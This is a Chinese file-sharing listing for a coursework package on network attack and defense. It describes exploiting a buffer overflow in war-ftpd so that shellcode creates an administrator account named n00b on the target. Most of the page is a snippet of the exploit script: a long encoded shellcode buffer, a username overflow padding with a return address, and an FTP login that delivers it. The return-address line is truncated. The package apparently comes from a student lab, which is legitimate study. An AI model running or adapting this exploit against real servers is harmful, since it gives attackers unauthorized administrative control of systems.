• 大小: 174KB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-08-04
  • 语言: 其他
  • 标签: 网络  攻击  防范  

资源简介

利用war-ftpd的缓冲区溢出漏洞,构造shellcode,在目标系统上建立用户名为n00b的管理员帐户。包括实验报告和源代码。->>>>>>byfrancis@gmail.com

资源截图

代码片段和文件信息

if __name__ == ‘__main__‘:
    from ftplib import FTP
    import struct
    usern = “\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49“
    usern += “\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36“
    usern += “\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34“
    usern += “\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41“
    usern += “\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54“
    usern += “\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57“
    usern += “\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38“
    usern += “\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48“
    usern += “\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c“
    usern += “\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e“
    usern += “\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58“
    usern += “\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44“
    usern += “\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58“
    usern += “\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43“
    usern += “\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47“
    usern += “\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a“
    usern += “\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b“
    usern += “\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43“
    usern += “\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37“
    usern += “\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49“
    usern += “\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56“
    usern += “\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46“
    usern += “\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36“
    usern += “\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36“
    usern += “\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44“
    usern += “\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52“
    usern += “\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56“
    usern += “\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56“
    usern += “\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57“
    usern += “\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52“
    usern += “\x41\x44\x46\x44\x46\x44\x42\x30\x5a“;
    user = ‘\x41‘*485+struct.pack(‘    
    ftp = FTP()
    server = ‘localhost‘
    passw = ‘123‘
    port = 21
    timeout = 30
    ftp.connect(serverporttimeout)
    ftp.login(userpassw)

    

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       2797  2010-11-07 23:26  网络攻击与防范_缓冲区溢出\attack.py

     文件       1000  2010-11-07 20:20  网络攻击与防范_缓冲区溢出\inpt.txt

     文件     200667  2010-11-09 00:11  网络攻击与防范_缓冲区溢出\网络攻击与防范实验报告.docx

     目录          0  2010-11-09 00:12  网络攻击与防范_缓冲区溢出

----------- ---------  ---------- -----  ----

               204464                    4


评论

共有 条评论